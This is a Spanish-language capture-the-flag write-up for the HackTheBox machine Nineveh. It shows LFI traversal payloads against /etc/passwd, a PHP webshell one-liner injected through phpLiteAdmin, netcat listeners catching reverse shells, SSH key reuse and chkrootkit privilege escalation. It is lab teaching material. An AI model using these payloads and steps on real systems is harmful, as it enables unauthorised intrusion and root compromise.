Publicado: 03 de Junio de 2025
Autor: José Miguel Romero aKa x3m1SecDificultad: ⭐ Medium
📝 Descripción
Nineveh es una máquina Linux de dificultad media que presenta múltiples vectores de ataque interconectados. El camino hacia la compromisión total incluye:
🔍 Enumeración web exhaustiva en puertos 80 y 443 con virtual hosting
🔐 Ataques de fuerza bruta contra paneles de autenticación
📁 Explotación de Local File Inclusion (LFI) para lectura de archivos del sistema
💉 Inyección de código PHP a través de phpLiteAdmin vulnerable
🔗 Combinación de vulnerabilidades (LFI + RCE) para obtener shell inicial
🗝️ Uso de claves SSH privadas extraídas mediante esteganografía
⚡ Escalada de privilegios aprovechando vulnerabilidad en chkrootkit
Esta máquina es excelente para practicar la cadena de exploits, donde cada vulnerabilidad individual no es suficiente por sí sola, pero su combinación permite la compromisión completa del sistema.
🔭 Reconocimiento
Ping para verificación en base a TTL
❯ ping -c2 10.10.10.43
PING 10.10.10.43 (10.10.10.43) 56(84) bytes of data.
64 bytes from 10.10.10.43: icmp_seq=1 ttl=63 time=46.6 ms
64 bytes from 10.10.10.43: icmp_seq=2 ttl=63 time=47.4 ms
--- 10.10.10.43 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1008ms
rtt min/avg/max/mdev = 46.584/46.972/47.360/0.388 ms
💡 Nota: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux.
❯ nmap -sC -sV -p$ports 10.10.10.43 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-03 17:03 CEST
Nmap scan report for 10.10.10.43
Host is up (0.048s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Not valid before: 2017-07-01T15:03:30
|_Not valid after: 2018-07-01T15:03:30
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.18 (Ubuntu)
⚠️ Importante: Detectamos durante la fase de enumeración con nmap que se está realizando virtual hosting. Debemos añadir el siguiente vhost a nuestro fichero /etc/hosts
echo "10.10.10.43 nineveh.htb " | sudo tee -a /etc/hosts
🌐 Enumeración Web
80 HTTP (http://nineveh.htb/)
Al acceder al puerto 80 encontramos lo que parece ser un servidor apache en desarrollo, con un mensaje que indica que el contenido no ha sido añadido aún:
🕷️Fuzzing de directorios
Al realizar fuzzing de directorios usando herramientas como feroxbuster, gobuster y dirsearch encontramos algunos recursos interesantes.
Al acceder a http://nineveh.htb/department/files/ somos redirigidos a un panel de login.
Rápidamente nos percatamos de que al probar algunas credenciales genéricas el panel nos indica que el usuario admin existe porque cuando introducimos otro distinto nos indica lo contrario:
También encontramos un comentario del administrador en el código fuente de la página:
💥 Ataque de Fuerza Bruta
Tras descartar que una posible vulnerabilidad de tipo SQLi en el panel de login, optamos por la vía de intentar un ataque de fuerza bruta usando el usuario admin y el diccionario rockyou mediante http-post-form y la herramienta hydra:
Transcurridos unos minutos obtenemos la contraseña del usuario admin:
Al acceder con las credenciales obtenidas encontramos el siguiente mensaje:
- Have you fixed the login page yet! hardcoded username and password is really bad idea!
- check your serect folder to get in! figure it out! this is your challenge
- Improve the db interface.
~amrois
Revisamos el otro servicio expuesto en el puerto 443 por si estas referencias se refiriesen a dicho servicio.
🗂️ Vulnerabilidad LFI (Local File Inclusion)
Merece la pena analizar si el parámetro notes es vulnerable a LFI. Aquí está la lista de payloads que probé:
parámetro de notas
Mensaje de error
ninevehNotes.txt
Sin error, muestra nota
/etc/passwd
No se ha seleccionado ninguna nota.
../../../../../../../../../../etc/passwd
No se ha seleccionado ninguna nota.
ninevehNotes
Advertencia: include(files/ninevehNotes): no se pudo abrir el flujo: No existe el archivo o directorio en /var/www/html/department/manage.php en la línea 31
Parece estar comprobando que la frase ninevehNotes esté en el parámetro, o de lo contrario simplemente muestra “No Note is selected.”. Pero hay formas de evitar eso, ya sea simplemente eliminando la extensión y subiendo directorios, o comenzando en / y luego entrar en una carpeta inexistente ninevehNotes e inmediatamente retrocede con ../.
Encontramos un directorio /db y otro /secure-notes que merece la pena analizar:
https://10.10.10.43/secure_notes/
🖼️ Esteganografía en /secure-notes
Únicamente vemos una imagen, no hay tampoco nada en el código fuente, por lo que probablemente se esté usando esteganografía para ocultar algo en ella.
Descargamos la imagen. En este caso no podemos usar steghide porque no es compatible con el formato .png. Pero podemos usar binwalk o incluso strings para ver si vemos algo:
Aunque podemos usar binwalk -e nineveh.png en este caso con el comando strings ya conseguimos ver una clave privada RSA que pertenece al usuario amrois:
El problema es que no tenemos ningún servicio SSH expuesto, por lo que esto ahora mismo todavía no nos sirve.
💉 Explotación de phpLiteAdmin v1.9
🔨 Ataque de Fuerza Bruta
Esta versión del servicio presenta varias vulnerabilidades, pero requieren de estar autenticado. La única vía que nos queda es usar nuevamente hydra con este panel para ver si logramos encontrar la contraseña:
con -l fake simplemente indicamos un usuario aunque en este caso es irrelevante, ya que no hay campo en el formulario para el usuario, pero la herramienta lo exige.
🎯 Explotación de RCE
Buscamos exploits públicos para esta versión vulnerable de phplite. Uno de los más interesantes e el de Remote PHP Code Injection para obtener una RCE
Ingresamos al panel de phpLiteAdmin y vemos que existe una única base de datos llamada test y no existen tablas:
Los pasos que indica el exploit son los siguientes:
1 Crear una nueva base de datos cuyo nombre termine en .php:
2 A continuación, cambiamos a la nueva base de datos para crear una tabla con un campo de texto con un valor predeterminado de un webshell PHP básico:
<?php system($_REQUEST["cmd"]); ?>
🚀 Explotación Final - LFI + RCE
En este punto ya tenemos nueva web shell subida en la máquina, pero ahora no tenemos forma de desencadenar el ataque. ¿O sí? Recordemos el LFI descubierto en pasos anteriores:
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.43] 47186
bash: cannot set terminal process group (1383): Inappropriate ioctl for device
bash: no job control in this shell
www-data@nineveh:/var/www/html/department$
👤 Movimiento Lateral - Usuario amrois
Existe un directorio para el usuario amrois donde se ubica la flag pero no tenemos permisos:
Esto es interesante como una vía potencial de escalada, ya que recordemos que tenemos una clave rsa privada del usuario amrois, por lo que nos valdría con guardar dicha clave en un archivo en el directorio /tmp de la máquina, darle permisos y autenticarnos vía ssh como amrois y ya podemos obtener la primera flag:
cd /tmp
nano id_rsa
<añadir clave rsa>
chmod 600 id_rsa
ssh -id id_rsa amrois@localhostç
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:aWXPsULnr55BcRUl/zX0n4gfJy5fg29KkuvnADFyMvk.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
Ubuntu 16.04.2 LTS
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
288 packages can be updated.
207 updates are security updates.
You have mail.
Last login: Mon Jul 3 00:19:59 2017 from 192.168.0.14
amrois@nineveh:~$ id
uid=1000(amrois) gid=1000(amrois) groups=1000(amrois)
🚀 Escalada de Privilegios a Root
Tras un buen rato enumerando la máquina, descubrimos algo interesante. Hay un directorio en la raíz que no es usual llamado report:
amrois@nineveh:/report$ ls
report-25-06-03:12:20.txt report-25-06-03:12:22.txt
report-25-06-03:12:21.txt report-25-06-03:12:23.txt
🕵️ Monitoreo de Procesos
En los archivos identificamos lo que podría ser un servicio para identificar rootkits porque hay referencias a /usr/bin/chkrootkit. Como sospecho que puede haber haber algún poceso en ejecución que lo esté lanzando cada periodo de tiempo, decido usar pspy o como alternativa usar el siguiente script para monitorizar procesos que se puedan estar ejecutando como root:
## Script para detectar nuevos procesos (o procesos que han terminado) comparando periódicamente el listado de procesos.
#!/bin/bash
old_process="$(ps -eo user,command)"
while true; do
new_process="$(ps -eo user,command)"
diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\<]" | grep -vE "kworker|procmon"
old_process="$new_process"
done
Y efectivamente confirmamos que root está ejecutando periódicamente el comando
/bin/sh /usr/bin/chkrootkit
🎯 Exploit de chkrootkit
Este servicio tiene una versión vulnerable para la cual existe un exploit para escalar privilegios
searchsploit chkrootkit
El txt indica que cualquier archivo en $SLAPPER_FILES se ejecutará debido a un error tipográfico debido a este bucle:
for i in ${SLAPPER_FILES}; do
if [ -f ${i} ]; then
file_port=$file_port $i
STATUS=1
fi
Los pasos para llevar a cabo la explotación es crear un archivo llamado update en el directorio /tmp de la máquina introduciendo en él un comando malicioso, para que cuando sea ejecutando por la herramienta podamos escalar privilegios
Iniciamos listener
nc -nlvp 443
Creamos el archivo malicioso en la ruta donde lo ejecutará chkrootkit y ganamos acceso como root.